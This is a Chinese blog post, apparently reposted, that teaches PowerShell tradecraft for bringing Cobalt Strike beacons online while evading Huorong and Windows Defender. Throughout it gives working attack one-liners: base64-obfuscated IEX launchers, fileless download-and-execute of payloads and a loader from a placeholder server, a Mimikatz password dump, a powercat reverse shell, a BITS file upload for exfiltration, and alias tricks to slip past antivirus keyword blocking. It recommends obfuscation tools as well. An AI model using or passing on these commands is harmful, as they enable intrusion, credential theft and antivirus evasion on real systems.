powershell CS免殺上線


 

powershell是一個很好的寶藏庫,在內網中可能會給出意外驚喜。

挑一點重點說說,本文的殺軟以火絨為主。

 

其實我們都用過powershell,

比如ls,dir

 

圖片

 

不過它只是Get-ChildItem別稱。

 

常用命令和參數介紹:

命名規范:動詞+名詞=cmdlets

 

 

-Get-ExecutionPolicy:查看當前執行策

 

圖片

 

第一次我們運行ps1腳本的時候會遇到這種情況,因為powershell默認安全策略為Restricted,此時腳本不能執行

修改的使用

 

PS C:\Users\Admin> Set-ExecutionPolicy -Scope CurrentUser

位於命令管道位置 1 的 cmdlet Set-ExecutionPolicy請為以下參數提供值:ExecutionPolicy: Unrestricted執行策略更改執行策略可幫助你防止執行不信任的腳本。更改執行策略可能會產生安全風險,如 https:/go.microsoft.com/fwlink/?LinkID=135170中的 about_Execution_Policies 幫助主題所述。是否要更改執行策略?[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暫停(S) [?] 幫助 (默認值為“N”): Y

 

Unrestricted:允許所有腳本運行(需要管理員權限)

 

圖片

 

因為C:\Users\Admin不在powershell默認環境中,所以我們需要輸入絕對路徑

 

圖片

 

$env:Path=$env:Path+"C:\Users\Admin"

 

添加到powershell的默認路徑后,便可以直接執行了。

 

&:在字符串前加上&,可以把字符串當成命令執行在字符串前加上&,可以把字符串當成命令執行。

 

圖片

 

相同的命令還有IEX(Invoke-Expression),也是將字符串當作powershell執行

 

圖片

 

-EXecutionPolicy Bypass:繞過powershell默認安全規定不能運行命令和文件

 

-WindowStyle Hidden(-W Hidden):隱藏窗口

 

-Nonlnteractive(-Nonl):非交互模式

 

-noexit:執行但不退出shell

 

Get-FileHash:獲取文件hash

 

圖片

 

-Import-Module:將模塊添加到當前會話。

 

//如上傳操作Import-Module BitsTransferStart-BitsTransfer -Source c:\test.txt -Destination http://x.x.x.x/test.txt -transfertype upload

 

-EncodedCommand(-enc):接受base64編碼的字符串

 

-set-alias:設置別名

 

 


powershell定義函數方式:

 

function FuncName(args[]){code;}



編輯器:

 

win10自帶的ISE就挺不錯,自動補全功能也很好。

 

 

圖片

 

 


powershell-cs上線:

 

圖片

 

也是調用了virtualalloc那些windows api創建而成。

 

常用的API還是要記住的

 

在一些木馬分析的時候有時候也會感到有些相似的地方,比如,call ds:DeleteFileA..........call ds:CreateFileA............call ds:WriteFile.............call ds:CreateThread

刪原來文件,創建一個新word,寫,加載到新線程中。因為套路相似,調用的API也相似。

 

推薦查詢網址:

https://docs.microsoft.com/zh-cn/windows/win32/apiindex/windows-api-list?redirectedfrom=MSDN

 

圖片

 

首次掃描,火絨被火絨殺了。

 

圖片

圖片

 

在我們對這段代碼加入上面我們的混淆以后,火絨便不會殺了,cs也可以正常上線。

 

圖片

 

#然后火絨會對這個powershell執行腳本的行為進行行為攔截#echo ...... | powershell 也會被攔截powershell #從cmd進入powershell界面function ConvertFrom-Base64($string) {$bytes = [Sys;tem.Convert]::FromBase64String($string);$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); return $decoded;}$a="cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC1mIE"$b="M6XFVzZXJzXEFkbWluXERlc2t0b3BccGF5bG9hZC5wczE="IEX(ConvertFrom-Base64($a+$b))

 

圖片

 

不會這樣攔截類似 powershell -ep bypass -f ........ps1了。

 

這個是笨方法

 

圖片

因為測試其他powershell腳本的時候,沒有被攔截,覺得還是關鍵字攔截。然后就這樣混淆一下。

 


powershell-cs無文件上線:
powershell set-alias -name test -value Invoke-Expression;test(New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload.ps1')

 

圖片

 

把修改后的ps腳本放在服務器上,在有火絨的虛擬機上好像是直接上線了。

 

windows defender二話不說攔截,因為連windows defender靜態免殺都沒過。

 

圖片

 

至於怎么過windows defender,上篇文章也寫過。

 

不過這時候,文件是落地的。

 

powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://X.X.X.X/Loader.exe';$file = ' D:\SYSTEM1.exe ';$clnt.DownloadFile($url,$file);&&D:\SYSTEM1.exe

 

圖片

 

 

 


項目推薦:

 

git clone https://github.com/mattifestation/PowerSploit.git
git clone https://github.com/samratashok/nishanggit clone https://github.com/besimorhino/powercat

 

 


無文件落地端口掃描:

 

圖片

 

腳本放到vps,開啟通道

 

在我們第一次嘗試的時候,可能會出現這種問題:

 

圖片

 

解決辦法:

第一種可能:模塊名字,你不經意的打錯了

第二種可能:需要修改作用域的權限。

 

 

 

執行后為:

 

powershell -nop -ep bypass -"IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1')";Invoke-Portscan -Hosts 192.168.37.0/24 -4 -ports "3389" -oA c:\windows\temp\est1.txt

 

 

還有一點是執行的時候,殺軟會攔截。

 

 

不過我們換一種思路

 

powershell set-alias -name test -value Invoke-Expression;test(New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:\windows\temp\est3.txt

 

 

給IEX設置一個別名,再執行,火絨便不會再攔截。

 

 


無文件落地抓取密碼:

 

powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

 


反彈shell:

 

#被控端:powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/powercat.ps1');powercat -c x.x.x.x -p 6666 -e cmd
nc -lvp 8888

 


power shell免殺項目推薦:

 

兩個師傅的博客網址:

https://www.chabug.org/?s=powershell

 

https://www.cnblogs.com/forforever/p/13882312.html

 

感覺這兩位師傅寫的總結的都挺不錯的,其他師傅寫的也都很不錯。

https://github.com/danielbohannon/Invoke-Obfuscation

 

Import-Module .\Invoke-Obfuscation.psd1Invoke-Obfuscation

 

 

進入我們的主界面

 

encoding模塊進行混淆launcher模塊生成加載器string模塊混淆字符串

 

set scriptpath C:\Users\Admin\Desktop\payload222.ps1 #設置我們需要免殺的腳本路徑encoding3out 1.ps1

 

 

 

 

這里是過了Windows defender的靜態免殺,這個工具其他模塊功能都挺足的,師傅們可以研究一下

其他項目:

 

https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1

 

https://github.com/CBHue/PyFuscation

 

https://github.com/peewpw/Invoke-PSImage

 

 

end


 

 

閱讀 1478
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM